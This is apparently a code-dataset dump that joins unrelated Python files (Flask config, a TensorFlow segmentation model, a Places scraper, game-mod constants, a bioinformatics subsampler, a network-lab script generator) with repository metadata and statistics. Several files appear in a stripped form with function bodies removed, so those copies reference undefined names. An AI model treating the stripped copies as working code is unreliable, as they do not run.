from __future__ import absolute_import import os.path as osp import appdirs from blazeutils.helpers import tolist import flask from pathlib import PurePath import six from werkzeug.utils import ( import_string, ImportStringError ) from keg.utils import app_environ_get, pymodule_fpaths_to_objects substitute = SubstituteValue # The following three classes are default configuration profiles

34.549505

100

0.648947

from __future__ import absolute_import import os.path as osp import appdirs from blazeutils.helpers import tolist import flask from pathlib import PurePath import six from werkzeug.utils import ( import_string, ImportStringError ) from keg.utils import app_environ_get, pymodule_fpaths_to_objects class ConfigurationError(Exception): pass class SubstituteValue(object): def __init__(self, value): self.value = value substitute = SubstituteValue class Config(flask.Config): default_config_locations = [ # Keg's defaults 'keg.config.DefaultProfile', # Keg's defaults for the selected profile 'keg.config.{profile}', # App defaults for all profiles '{app_import_name}.config.DefaultProfile', # apply the profile specific defaults that are in the app's config file '{app_import_name}.config.{profile}', ] def from_obj_if_exists(self, obj_location): try: self.from_object(obj_location) self.configs_found.append(obj_location) except ImportStringError as e: if obj_location not in str(e): raise def default_config_locations_parsed(self): retval = [] for location in self.default_config_locations: # if no profile is given, the location want's one, that location isn't valid if '{profile}' in location and self.profile is None: continue retval.append(location.format(app_import_name=self.app_import_name, profile=self.profile)) return retval def init_app(self, app_config_profile, app_import_name, app_root_path, use_test_profile, config_file_objs=None): self.use_test_profile = use_test_profile self.profile = app_config_profile self.dirs = appdirs.AppDirs(app_import_name, appauthor=False, multipath=True) self.app_import_name = app_import_name self.app_root_path = app_root_path self.config_paths_unreadable = [] if config_file_objs: self.config_file_objs = config_file_objs else: self.config_file_objs = [] possible_config_fpaths = self.config_file_paths() fpaths_to_objects = pymodule_fpaths_to_objects(possible_config_fpaths) for fpath, objects, exc in fpaths_to_objects: if objects is None: self.config_paths_unreadable.append((fpath, exc)) else: self.config_file_objs.append((fpath, objects)) if self.profile is None: self.profile = self.determine_selected_profile() self.configs_found = [] for dotted_location in self.default_config_locations_parsed(): dotted_location = dotted_location.format(app_import_name=app_import_name, profile=self.profile) self.from_obj_if_exists(dotted_location) # apply settings from any of this app's configuration files for fpath, objects in self.config_file_objs: if self.profile in objects: self.from_object(objects[self.profile]) self.configs_found.append('{}:{}'.format(fpath, self.profile)) sub_values = self.substitution_values() self.substitution_apply(sub_values) def config_file_paths(self): dirs = self.dirs config_fname = '{}-config.py'.format(self.app_import_name) dpaths = [] if appdirs.system != 'win32': dpaths.extend(dirs.site_config_dir.split(':')) dpaths.append('/etc/{}'.format(self.app_import_name)) dpaths.append('/etc') else: system_drive = PurePath(dirs.site_config_dir).drive system_etc_dir = PurePath(system_drive, '/', 'etc') dpaths.extend(( dirs.site_config_dir, system_etc_dir.joinpath(self.app_import_name).__str__(), system_etc_dir.__str__() )) dpaths.append(dirs.user_config_dir) dpaths.append(osp.dirname(self.app_root_path)) fpaths = [osp.join(dpath, config_fname) for dpath in dpaths] return fpaths def email_error_to(self): error_to = self.get('KEG_EMAIL_ERROR_TO') override_to = self.get('KEG_EMAIL_OVERRIDE_TO') if override_to: return tolist(override_to) return tolist(error_to) def determine_selected_profile(self): # if we find the value in the environment, use it profile = app_environ_get(self.app_import_name, 'CONFIG_PROFILE') if profile is not None: return profile use_test_profile = app_environ_get(self.app_import_name, 'USE_TEST_PROFILE', '') if use_test_profile.strip() or self.use_test_profile: return 'TestProfile' # look for it in the app's main config file (e.g. myapp.config) app_config = import_string('{}.config'.format(self.app_import_name), silent=True) if app_config and hasattr(app_config, 'DEFAULT_PROFILE'): profile = app_config.DEFAULT_PROFILE # Look for it in all the config files found. This loops from lowest-priority config file # to highest priority, so the last file found with a value is kept. Accordingly, any app # specific file has priority over the app's main config file, which could be set just above. for fpath, objects in self.config_file_objs: if 'DEFAULT_PROFILE' in objects: profile = objects['DEFAULT_PROFILE'] return profile def substitution_values(self): return dict( user_log_dir=self.dirs.user_log_dir, app_import_name=self.app_import_name, ) def substitution_apply(self, sub_values): for config_key, config_value in self.items(): if not isinstance(config_value, SubstituteValue): continue new_value = config_value.value.format(**sub_values) self[config_key] = new_value # The following three classes are default configuration profiles class DefaultProfile(object): KEG_DIR_MODE = 0o777 KEG_ENDPOINTS = dict( home='public.home', login='public.home', after_login='public.home', after_logout='public.home', ) KEG_DB_DIALECT_OPTIONS = {} class DevProfile(object): DEBUG = True class TestProfile(object): DEBUG = True TESTING = True KEG_LOG_SYSLOG_ENABLED = False # set this to allow generation of URLs without a request context SERVER_NAME = 'keg.example.com' if six.PY3 else b'keg.example.com' # simple value for testing is fine SECRET_KEY = '12345' # Sane default values for testing to get rid of warnings. SQLALCHEMY_TRACK_MODIFICATIONS = False SQLALCHEMY_DATABASE_URI = 'sqlite:///:memory:'

5,064

1,341

163

91b8f58f0aef4a4e4c306770d42549a707d7b742

5,038

py

Python

rdcnet/models/rdcnet.py

fmi-basel/RDCNet

f1ebcab7b7325b08506b8da291a63c7c0470fe5f

[ "MIT" ]

5

2020-10-07T03:48:56.000Z

2021-05-27T06:28:41.000Z

rdcnet/models/rdcnet.py

fmi-basel/RDCNet

f1ebcab7b7325b08506b8da291a63c7c0470fe5f

[ "MIT" ]

null

rdcnet/models/rdcnet.py

fmi-basel/RDCNet

f1ebcab7b7325b08506b8da291a63c7c0470fe5f

[ "MIT" ]

1

2021-06-25T10:32:02.000Z

import tensorflow as tf import numpy as np from tensorflow.keras import Model from tensorflow.keras.layers import Input, LeakyReLU from rdcnet.layers.nd_layers import get_nd_conv, get_nd_spatial_dropout, get_nd_conv_transposed from rdcnet.layers.padding import DynamicPaddingLayer, DynamicTrimmingLayer from rdcnet.layers.stacked_dilated_conv import StackedDilatedConv def delta_loop(output_channels, recurrent_block, n_steps=3): '''Recursively applies a given block to refine its output. Args: output_channels: number of output channels. recurrent_block: a network taking (input_channels + output_channels) as input and outputting output_channels n_steps: number of times the block is applied ''' return block def rdc_block(n_groups=16, dilation_rates=(1, 2, 4, 8, 16), channels_per_group=32, k_size=3, spatial_dims=2, dropout=0.1): '''Grouped conv with stacked dilated conv in each group and pointwise convolution for mixing Notes ----- pre-activation to keep the residual path clear as described in: HE, Kaiming, et al. Identity mappings in deep residual networks. In: European conference on computer vision. Springer, Cham, 2016. S. 630-645. ''' Conv = get_nd_conv(spatial_dims) channels = channels_per_group * n_groups sd_conv = StackedDilatedConv(rank=spatial_dims, filters=channels, kernel_size=k_size, dilation_rates=dilation_rates, groups=n_groups, activation=LeakyReLU()) # mixes ch/reduce from input_ch + channels_per_group*n_groups reduce_ch_conv = Conv(channels, 1) spatial_dropout = get_nd_spatial_dropout(spatial_dims)(dropout) return _call def GenericRDCnetBase(input_shape, downsampling_factor, n_downsampling_channels, n_output_channels, n_groups=16, dilation_rates=(1, 2, 4, 8, 16), channels_per_group=32, n_steps=5, dropout=0.1): '''delta loop with input/output rescaling and atrous grouped conv recurrent block''' spatial_dims = len(input_shape) - 1 downsampling_factor = tuple( np.broadcast_to(np.array(downsampling_factor), spatial_dims).tolist()) recurrent_block = rdc_block(n_groups, dilation_rates, channels_per_group, spatial_dims=spatial_dims, dropout=dropout) n_features = channels_per_group * n_groups loop = delta_loop(n_features, recurrent_block, n_steps) in_kernel_size = tuple(max(3, f) for f in downsampling_factor) out_kernel_size = tuple(max(3, 2 * f) for f in downsampling_factor) Conv = get_nd_conv(spatial_dims) conv_in = Conv(n_downsampling_channels, kernel_size=in_kernel_size, strides=downsampling_factor, padding='same') ConvTranspose = get_nd_conv_transposed(spatial_dims) conv_out = ConvTranspose(n_output_channels, kernel_size=out_kernel_size, strides=downsampling_factor, padding='same') input_padding = DynamicPaddingLayer(downsampling_factor, ndim=spatial_dims + 2) output_trimming = DynamicTrimmingLayer(ndim=spatial_dims + 2) inputs = Input(shape=input_shape) x = input_padding(inputs) x = conv_in(x) x = loop(x) x = LeakyReLU()(x) x = conv_out(x) x = output_trimming([inputs, x]) name = 'RDCNet-F{}-DC{}-OC{}-G{}-DR{}-GC{}-S{}-D{}'.format( _format_tuple(downsampling_factor), n_downsampling_channels, n_output_channels, n_groups, _format_tuple(dilation_rates), channels_per_group, n_steps, dropout) return Model(inputs=inputs, outputs=[x], name=name)

34.040541

96

0.601826

import tensorflow as tf import numpy as np from tensorflow.keras import Model from tensorflow.keras.layers import Input, LeakyReLU from rdcnet.layers.nd_layers import get_nd_conv, get_nd_spatial_dropout, get_nd_conv_transposed from rdcnet.layers.padding import DynamicPaddingLayer, DynamicTrimmingLayer from rdcnet.layers.stacked_dilated_conv import StackedDilatedConv def delta_loop(output_channels, recurrent_block, n_steps=3): '''Recursively applies a given block to refine its output. Args: output_channels: number of output channels. recurrent_block: a network taking (input_channels + output_channels) as input and outputting output_channels n_steps: number of times the block is applied ''' def block(x, state=None): if state is None: recurrent_shape = tf.concat( [tf.shape(x)[:-1], tf.constant([output_channels])], axis=0) state = tf.zeros(recurrent_shape, x.dtype) # static unrolling for _ in range(n_steps): # static unrolled loop delta = recurrent_block(tf.concat([x, state], axis=-1)) state = state + delta return state return block def rdc_block(n_groups=16, dilation_rates=(1, 2, 4, 8, 16), channels_per_group=32, k_size=3, spatial_dims=2, dropout=0.1): '''Grouped conv with stacked dilated conv in each group and pointwise convolution for mixing Notes ----- pre-activation to keep the residual path clear as described in: HE, Kaiming, et al. Identity mappings in deep residual networks. In: European conference on computer vision. Springer, Cham, 2016. S. 630-645. ''' Conv = get_nd_conv(spatial_dims) channels = channels_per_group * n_groups sd_conv = StackedDilatedConv(rank=spatial_dims, filters=channels, kernel_size=k_size, dilation_rates=dilation_rates, groups=n_groups, activation=LeakyReLU()) # mixes ch/reduce from input_ch + channels_per_group*n_groups reduce_ch_conv = Conv(channels, 1) spatial_dropout = get_nd_spatial_dropout(spatial_dims)(dropout) def _call(x): x = spatial_dropout(x) x = LeakyReLU()(x) x = reduce_ch_conv(x) x = LeakyReLU()(x) x = sd_conv(x) return x return _call def _format_tuple(val): unique_val = tuple(set(val)) if len(unique_val) == 1: return str(unique_val[0]) else: return str(val).replace(', ', '-').replace('(', '').replace(')', '') def GenericRDCnetBase(input_shape, downsampling_factor, n_downsampling_channels, n_output_channels, n_groups=16, dilation_rates=(1, 2, 4, 8, 16), channels_per_group=32, n_steps=5, dropout=0.1): '''delta loop with input/output rescaling and atrous grouped conv recurrent block''' spatial_dims = len(input_shape) - 1 downsampling_factor = tuple( np.broadcast_to(np.array(downsampling_factor), spatial_dims).tolist()) recurrent_block = rdc_block(n_groups, dilation_rates, channels_per_group, spatial_dims=spatial_dims, dropout=dropout) n_features = channels_per_group * n_groups loop = delta_loop(n_features, recurrent_block, n_steps) in_kernel_size = tuple(max(3, f) for f in downsampling_factor) out_kernel_size = tuple(max(3, 2 * f) for f in downsampling_factor) Conv = get_nd_conv(spatial_dims) conv_in = Conv(n_downsampling_channels, kernel_size=in_kernel_size, strides=downsampling_factor, padding='same') ConvTranspose = get_nd_conv_transposed(spatial_dims) conv_out = ConvTranspose(n_output_channels, kernel_size=out_kernel_size, strides=downsampling_factor, padding='same') input_padding = DynamicPaddingLayer(downsampling_factor, ndim=spatial_dims + 2) output_trimming = DynamicTrimmingLayer(ndim=spatial_dims + 2) inputs = Input(shape=input_shape) x = input_padding(inputs) x = conv_in(x) x = loop(x) x = LeakyReLU()(x) x = conv_out(x) x = output_trimming([inputs, x]) name = 'RDCNet-F{}-DC{}-OC{}-G{}-DR{}-GC{}-S{}-D{}'.format( _format_tuple(downsampling_factor), n_downsampling_channels, n_output_channels, n_groups, _format_tuple(dilation_rates), channels_per_group, n_steps, dropout) return Model(inputs=inputs, outputs=[x], name=name)

763

0

76

f4dfc6814251debd6daa61577a5da72dc7586bee

5,854

py

Python

scrape.py

TienDang2802/evs-scraper

6538683e0e9db11a559022c8a9aafe67ed5024f6

[ "MIT" ]

null

scrape.py

TienDang2802/evs-scraper

6538683e0e9db11a559022c8a9aafe67ed5024f6

[ "MIT" ]

null

scrape.py

TienDang2802/evs-scraper

6538683e0e9db11a559022c8a9aafe67ed5024f6

[ "MIT" ]

null

from googleplaces import GooglePlaces, types, lang import googlemaps import csv from time import sleep import requests import sys import re from send_mail import * if __name__ == '__main__': scrape()

36.5875

116

0.569354

from googleplaces import GooglePlaces, types, lang import googlemaps import csv from time import sleep import requests import sys import re from send_mail import * def scrape(query, city, filters_exclude, filters_include, user, uid): results = [['Name', 'Company Domain', 'Phone Number', 'Company owner', 'Lifecycle stage', 'Country', 'City']] results_process = process_filter(query, city, filters_exclude, filters_include, user) if results_process: results += results_process # create file that will be send to user and admin (in BCC) with open(str(user) + str(uid) + '_leads.csv', 'w', newline='') as f: writer = csv.writer(f) for result in results: writer.writerow(result) def process_filter(query, city, filters_exclude, filters_include, user, is_web=False): results = [] query_list = query.split(',') city_list = city.split(',') filters_exclude_list = [] if filters_exclude != '': filters_exclude_list = filters_exclude.split(',') filters_exclude_list = [x.strip() for x in filters_exclude_list] filters_include_list = [] if filters_include != '': filters_include_list = filters_include.split(',') filters_include_list = [x.strip() for x in filters_include_list] total_city = len(city_list) print('Total cities: {}'.format(total_city)) radius = int(os.environ.get('SEARCH_RADIUS')) google_places_api = GooglePlaces(os.environ['GP_API_KEY1']) gmaps = googlemaps.Client(key=os.environ['GP_API_KEY1']) query_result = {} for city in city_list: print('Processing city: {}'.format(city)) for query in query_list: print('Processing query string {} of city {} with radius={}'.format(query, city, radius)) geocode_result = gmaps.geocode(city) latlng = '{}, {}'.format(geocode_result[0]['geometry']['location']['lat'], geocode_result[0]['geometry']['location']['lng']) try: query_result = google_places_api.nearby_search(keyword=query, radius=radius, location=latlng) except: sleep(30) try: google_places_api2 = GooglePlaces(os.environ['GP_API_KEY2']) query_result = google_places_api2.nearby_search(keyword=query, radius=radius, location=latlng) except: send_error(user) while True: if query_result: for place in query_result.places: place.get_details() if place.website: if filters_exclude_list: if any(word.strip().lower() in place.name.lower() for word in filters_exclude_list): print('exclude full continue') continue if not place.website or 'https' in place.website: results.append(render_result(place, is_web)) continue # filter page_content_text = '' try: page_content = requests.get(place.website) page_content_text = page_content.text except Exception as e: print('Error on line {}'.format(sys.exc_info()[-1].tb_lineno), type(e).__name__, e) results.append(render_result(place, is_web)) if page_content_text and filters_exclude_list: filter_exclude = is_filters_exclude(page_content_text, filters_exclude_list) if filter_exclude: print('Filter exclude') continue if page_content_text and filters_include_list: filter_include = is_filters_include(page_content_text, filters_include_list) if not filter_include: print('Filter include') continue results.append(render_result(place, is_web)) if not query_result.has_next_page_token or is_web: break sleep(30) print('Next page token: {}'.format(query_result.next_page_token)) query_result = google_places_api.nearby_search( pagetoken=query_result.next_page_token ) return results def render_result(place, is_web=False): if is_web: return [place.name, place.website, place.formatted_address, place.international_phone_number, ''] return [ place.name, place.website, place.international_phone_number, os.environ.get('NOTIFY_EMAIL'), 'Subscriber', '', '' ] def is_filters_exclude(place_website_content, filters_exclude_list): for exclude in filters_exclude_list: search = re.search(r'[^"\r\n]*' + str(exclude) + '[^"\r\n]*', place_website_content) if search: return True return False def is_filters_include(place_website_content, filters_include_list): for include in filters_include_list: search = re.search(r'[^"\r\n]*' + str(include) + '[^"\r\n]*', place_website_content) if search: return True return False def send_error(user): toaddr = os.environ.get('ERROR_EMAIL') subject = '{user} had a FATAL ERROR!'.format(user=str(user)) body = "Look into heroku logs and notify user" send_mail(toaddr, subject, body) if __name__ == '__main__': scrape()

5,504

0

138

993feb043393adf3e48cbc1d5e09178f6b6122bf

2,382

py

Python

res_mods/mods/packages/xvm_battle/python/consts.py

peterbartha/ImmunoMod

cbf8cd49893d7082a347c1f72c0e39480869318a

[ "MIT" ]

null

res_mods/mods/packages/xvm_battle/python/consts.py

peterbartha/ImmunoMod

cbf8cd49893d7082a347c1f72c0e39480869318a

[ "MIT" ]

1

2016-04-03T13:31:39.000Z

2016-04-03T16:48:26.000Z

res_mods/mods/packages/xvm_battle/python/consts.py

peterbartha/ImmunoMod

cbf8cd49893d7082a347c1f72c0e39480869318a

[ "MIT" ]

null

""" XVM (c) www.modxvm.com 2013-2017 """ ##################################################################### # constants # Shared commands # Markers only commands # Battle events # Invalidation targets # Spotted statuses

34.521739

127

0.689337

""" XVM (c) www.modxvm.com 2013-2017 """ ##################################################################### # constants # Shared commands class XVM_BATTLE_COMMAND(object): REQUEST_BATTLE_GLOBAL_DATA = "xvm_battle.request_battle_global_data" XMQP_INIT = "xvm_battle.xmqp_init" BATTLE_CTRL_SET_VEHICLE_DATA = "xvm_battle.battle_ctrl_set_vehicle_data" CAPTURE_BAR_GET_BASE_NUM_TEXT = "xvm_battle.capture_bar_get_base_num_text" MINIMAP_CLICK = "xvm_battle.minimap_click" AS_RESPONSE_BATTLE_GLOBAL_DATA = "xvm.as.response_battle_global_data" AS_XMQP_EVENT = "xvm.as.as_xmqp_event" AS_UPDATE_PLAYER_STATE = "xvm.as.update_player_state" AS_UPDATE_DEVICE_STATE = "xvm.as.update_device_state" AS_TEAMS_HP_CHANGED = "xvm.as.teams_hp_changed" AS_SNIPER_CAMERA = "xvm.as.sniper_camera" AS_AIM_OFFSET_UPDATE = "xvm.as.aim_offset_update" AS_ON_TARGET_CHANGED = "xvm.as.on_target_changed" AS_MOVING_STATE_CHANGED = "xvm.as.as_moving_state_changed" AS_STEREOSCOPE_TOGGLED = "xvm.as.as_stereoscope_toggled" # Markers only commands class XVM_VM_COMMAND(object): # Flash -> Python LOG = "xfw.log" INITIALIZED = "initialized" AS_CMD_RESPONSE = "xvm_vm.as.cmd_response" # Battle events class XVM_BATTLE_EVENT(object): ARENA_INFO_INVALIDATED = "arena_info_invalidated" XMQP_CONNECTED = 'xvm_battle.xmqp_connected' XMQP_MESSAGE = 'xvm_battle.xmqp_message' # Invalidation targets class INV(object): NONE = 0x00000000 VEHICLE_STATUS = 0x00000001 # ready, alive, not_available, stop_respawn #PLAYER_STATUS = 0x00000002 # isActionDisabled, isSelected, isSquadMan, isSquadPersonal, isTeamKiller, isVoipDisabled SQUAD_INDEX = 0x00000008 CUR_HEALTH = 0x00000010 MAX_HEALTH = 0x00000020 MARKS_ON_GUN = 0x00000040 SPOTTED_STATUS = 0x00000080 FRAGS = 0x00000100 HITLOG = 0x00010000 ALL_VINFO = VEHICLE_STATUS | SQUAD_INDEX | FRAGS # | PLAYER_STATUS ALL_VSTATS = FRAGS ALL_ENTITY = CUR_HEALTH | MAX_HEALTH | MARKS_ON_GUN ALL = 0x0000FFFF # Spotted statuses class SPOTTED_STATUS(object): NEVER_SEEN = 'neverSeen' SPOTTED = 'spotted' LOST = 'lost' DEAD = 'dead' class INT_CD(object): STEREOSCOPE = 1273

0

2,015

138

41c9e613638a94d05eb2e8ceab952f4ed37e7164

2,187

py

Python

tests/test_converter.py

billyrrr/onto

72733d36a2583ae4758f7cf33a5229b79773702b

[ "MIT" ]

1

2020-10-04T10:01:45.000Z

tests/test_converter.py

billyrrr/onto

72733d36a2583ae4758f7cf33a5229b79773702b

[ "MIT" ]

null

tests/test_converter.py

billyrrr/onto

72733d36a2583ae4758f7cf33a5229b79773702b

[ "MIT" ]

null

from onto.attrs import attribute from onto.models.base import Serializable from collections import namedtuple graph_schema = namedtuple('graph_schema', ['op_type', 'name', 'graphql_object_type'])

21.441176

85

0.582533

from onto.attrs import attribute from onto.models.base import Serializable class H(Serializable): i = attribute.Attribute(type_cls=int, doc="I am 'i'.") j = attribute.PropertyAttribute( type_cls=str, doc="""I am 'j'. See next line. This is my second line. """ ) from collections import namedtuple graph_schema = namedtuple('graph_schema', ['op_type', 'name', 'graphql_object_type']) def test__schema_cls_from_attributed_class(): # import asyncio # loop = asyncio.get_event_loop() from onto.models.utils import _graphql_object_type_from_attributed_class attributed = H graphql_schema = _graphql_object_type_from_attributed_class(attributed) async def sub(parent, info, **kwargs): pass # from graphql import GraphQLObjectType query_schema = GraphQLObjectType( name='Query', fields={ 'h': graphql_schema } ) from gql import query, subscribe @query async def h(parent, info, **kwargs): return { 'i': 1, 'j': 'one' } graph_schema(op_type='Query', name='h', graphql_object_type=graphql_schema) @subscribe async def h(parent, info, **kwargs): # Register topic # Listen to topic for i in range(5): import asyncio await asyncio.sleep(i) yield { 'h': { 'i': i, 'j': f"number is {i}" } } subscription_schema = GraphQLObjectType( name='Subscription', fields={ 'h': graphql_schema } ) from graphql import GraphQLSchema schema = GraphQLSchema( query=query_schema, subscription=subscription_schema ) from stargql import GraphQL async def on_startup(): from asyncio.queues import Queue global q q = Queue() async def shutdown(): pass app = GraphQL( schema=schema, on_startup=[on_startup], on_shutdown=[shutdown] ) # import uvicorn # uvicorn.run(app, port=8080, debug=True) # return app

1,734

205

46

efd92e9172080bbf7288d421524737cd0652549d

2,303

py

Python

src/encode_task_subsample_ctl.py

motorny/chip-seq-pipeline2

b4ffdfb977eb327f8495a42e077c62640cad8ea6

[ "MIT" ]

261

2017-10-18T04:59:35.000Z

2022-03-28T08:15:33.000Z

src/encode_task_subsample_ctl.py

motorny/chip-seq-pipeline2

b4ffdfb977eb327f8495a42e077c62640cad8ea6

[ "MIT" ]

272

2018-05-03T22:57:38.000Z

2022-03-25T22:26:22.000Z

src/encode_task_subsample_ctl.py

motorny/chip-seq-pipeline2

b4ffdfb977eb327f8495a42e077c62640cad8ea6

[ "MIT" ]

142

2017-08-23T23:44:14.000Z

2022-03-18T20:53:26.000Z

#!/usr/bin/env python import sys import os import argparse from encode_lib_common import ( assert_file_not_empty, get_num_lines, log, ls_l, mkdir_p, rm_f, run_shell_cmd, strip_ext_ta) from encode_lib_genomic import ( subsample_ta_pe, subsample_ta_se) if __name__ == '__main__': main()

34.373134

82

0.604863

#!/usr/bin/env python import sys import os import argparse from encode_lib_common import ( assert_file_not_empty, get_num_lines, log, ls_l, mkdir_p, rm_f, run_shell_cmd, strip_ext_ta) from encode_lib_genomic import ( subsample_ta_pe, subsample_ta_se) def parse_arguments(): parser = argparse.ArgumentParser( prog='ENCODE DCC control TAG-ALIGN subsampler.' 'This script does not check if number of reads in TA is higher than ' 'subsampling number (--subsample). ' 'If number of reads in TA is lower than subsampling number then ' 'TA will be just shuffled.') parser.add_argument('ta', type=str, help='Path for control TAGALIGN file.') parser.add_argument('--paired-end', action="store_true", help='Paired-end TAGALIGN.') parser.add_argument('--subsample', default=0, type=int, help='Number of reads to subsample.') parser.add_argument('--out-dir', default='', type=str, help='Output directory.') parser.add_argument('--log-level', default='INFO', choices=['NOTSET', 'DEBUG', 'INFO', 'WARNING', 'CRITICAL', 'ERROR', 'CRITICAL'], help='Log level') args = parser.parse_args() if not args.subsample: raise ValueError('--subsample should be a positive integer.') log.setLevel(args.log_level) log.info(sys.argv) return args def main(): # read params args = parse_arguments() log.info('Initializing and making output directory...') mkdir_p(args.out_dir) if args.paired_end: subsampled_ta = subsample_ta_pe( args.ta, args.subsample, non_mito=False, mito_chr_name=None, r1_only=False, out_dir=args.out_dir) else: subsampled_ta = subsample_ta_se( args.ta, args.subsample, non_mito=False, mito_chr_name=None, out_dir=args.out_dir) log.info('Checking if output is empty...') assert_file_not_empty(subsampled_ta) log.info('List all files in output directory...') ls_l(args.out_dir) log.info('All done.') if __name__ == '__main__': main()

1,953

0

46

2101b659c05c618a0d1a94ae66118ffd25c67ab5

3,804

py

Python

main.py

allgreed/pynetkit

404142fbc21ae5b771f881d4b406fc53680b4e3b

[ "MIT" ]

2

2019-03-20T18:04:59.000Z

2019-07-15T09:09:21.000Z

main.py

allgreed/pynetkit

404142fbc21ae5b771f881d4b406fc53680b4e3b

[ "MIT" ]

null

main.py

allgreed/pynetkit

404142fbc21ae5b771f881d4b406fc53680b4e3b

[ "MIT" ]

null

#!/usr/bin/env python3 import re import yaml from collections import namedtuple, defaultdict from ipaddress import IPv4Network from itertools import repeat, combinations from functools import update_wrapper import click BoundIface = namedtuple('BoundIface', 'host if_no') NetedIface = namedtuple('NetedIface', 'host if_no ip netmask') DomainAsoc = namedtuple('DomainAsoc', 'iface domain') IFACE_STATEMENT_REGEXP = r'([a-z0-9_]+)\[(\d+)\]\s*=\s*"([A-Z])' pass_data = click.make_pass_decorator(object) @click.group() @click.option( "--labconf", required=True, type=click.Path(exists=True, dir_okay=False, resolve_path=True), help="Location of lab.conf", ) @click.option( "--netz", required=True, type=click.Path(exists=True, dir_okay=False, resolve_path=True), help="Location of netz.yml", ) @click.pass_context @click.command() @pass_data @click.command() @pass_data @click.command() @pass_data if __name__ == "__main__": main()

26.978723

90

0.652471

#!/usr/bin/env python3 import re import yaml from collections import namedtuple, defaultdict from ipaddress import IPv4Network from itertools import repeat, combinations from functools import update_wrapper import click BoundIface = namedtuple('BoundIface', 'host if_no') NetedIface = namedtuple('NetedIface', 'host if_no ip netmask') DomainAsoc = namedtuple('DomainAsoc', 'iface domain') IFACE_STATEMENT_REGEXP = r'([a-z0-9_]+)\[(\d+)\]\s*=\s*"([A-Z])' def get_conf_contents(path="./lab.conf"): with open(path) as f: raw = f.readlines() stripped = map(lambda l: l.rstrip("\n"), raw) return filter(bool, stripped) def parse_iface_statement(statement): result = re.match(IFACE_STATEMENT_REGEXP, statement) if result: host, if_no, domain = result.groups() return DomainAsoc(iface=BoundIface(host=host, if_no=if_no), domain=domain) else: raise ValueError("Not an interface statement") def get_domain_subnets(path="./subnets.yml"): return {k: IPv4Network(v) for k, v in yaml.safe_load(open(path)).items()} pass_data = click.make_pass_decorator(object) @click.group() @click.option( "--labconf", required=True, type=click.Path(exists=True, dir_okay=False, resolve_path=True), help="Location of lab.conf", ) @click.option( "--netz", required=True, type=click.Path(exists=True, dir_okay=False, resolve_path=True), help="Location of netz.yml", ) @click.pass_context def cli(ctx, labconf, netz): domains = defaultdict(list) subnets = get_domain_subnets(path=netz) contents = get_conf_contents(path=labconf) for statement in contents: try: dasc = parse_iface_statement(statement) domains[dasc.domain].append(dasc.iface) except ValueError: continue def net_domain(domain, bound_ifaces): subnet = subnets[domain] hosts = subnet.hosts() return [NetedIface(*iface, next(hosts), subnet.netmask) for iface in bound_ifaces] neted_domains = { k: net_domain(k, v) for k, v in domains.items() } ctx.obj = neted_domains.values() @click.command() @pass_data def ifup(data): for domain in data: for i in domain: ifcmd_template = "ifconfig eth{ifno} {ip} netmask {netmask} up" ifcmd = ifcmd_template.format(ifno=i.if_no, ip=i.ip, netmask=i.netmask) cmd_template = "echo '{command}' >> {host}.startup" cmd = cmd_template.format(command=ifcmd, host=i.host) print(cmd) @click.command() @pass_data def gateway_routes(data): for domain in data: router = next(i for i in domain if "r" in i.host) default_route_cmd = "route add default gw %s" % router.ip for i in domain: if "pc" not in i.host: continue cmd_template = "echo '{command}' >> {host}.startup" cmd = cmd_template.format(command=default_route_cmd, host=i.host) print(cmd) @click.command() @pass_data def check_all_connections(data): neted_ifaces = [i for i in sum(data, [])] pings_required = combinations(neted_ifaces, 2) pings_by_host = defaultdict(list) for ping in pings_required: pings_by_host[ping[0].host].append(ping[1].ip) for host, pings in pings_by_host.items(): for ping in pings: ping_cmd_template = "ping {ip} -c 1 -W 1" ping_cmd = ping_cmd_template.format(ip=ping) cmd_template = "echo '{command}' >> _test/{host}.test" cmd = cmd_template.format(command=ping_cmd, host=host) print(cmd) def main(): cli.add_command(ifup) cli.add_command(gateway_routes, "gw") cli.add_command(check_all_connections, "cta") cli() if __name__ == "__main__": main()

2,642

0

180

374933fc53917d78ec37e81b2924dd9f94764c6b

135

py

Python

blobedit.py

HieuLsw/blobjob.editor

c33473ffb7836a70ba3a1b2a9dd9452a9d3a1b81

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

blobedit.py

HieuLsw/blobjob.editor

c33473ffb7836a70ba3a1b2a9dd9452a9d3a1b81

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

blobedit.py

HieuLsw/blobjob.editor

c33473ffb7836a70ba3a1b2a9dd9452a9d3a1b81

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

#! /usr/bin/env python import sys # preferrence for the included libs sys.path.insert(0, 'libs') from editor import main main.main()

15

35

0.733333

#! /usr/bin/env python import sys # preferrence for the included libs sys.path.insert(0, 'libs') from editor import main main.main()

0

054db30675a5f4ea79156e97c0906b1d49520cbb

1,158

py

Python

qrcode/image/styles/moduledrawers/base.py

xamronpc/python-qrcode

49060c484ce6def1adbc13e3b14e71dcef266eb2

[ "BSD-3-Clause" ]

null

qrcode/image/styles/moduledrawers/base.py

xamronpc/python-qrcode

49060c484ce6def1adbc13e3b14e71dcef266eb2

[ "BSD-3-Clause" ]

null

qrcode/image/styles/moduledrawers/base.py

xamronpc/python-qrcode

49060c484ce6def1adbc13e3b14e71dcef266eb2

[ "BSD-3-Clause" ]

null

from __future__ import absolute_import import abc from typing import TYPE_CHECKING, Union if TYPE_CHECKING: from qrcode.image.base import BaseImage from qrcode.main import ActiveWithNeighbors class QRModuleDrawer(abc.ABC): """ QRModuleDrawer exists to draw the modules of the QR Code onto images. For this, technically all that is necessary is a ``drawrect(self, box, is_active)`` function which takes in the box in which it is to draw, whether or not the box is "active" (a module exists there). If ``needs_neighbors`` is set to True, then the method should also accept a ``neighbors`` kwarg (the neighboring pixels). It is frequently necessary to also implement an "initialize" function to set up values that only the containing Image class knows about. For examples of what these look like, see doc/module_drawers.png """ needs_neighbors = False @abc.abstractmethod

30.473684

83

0.707254

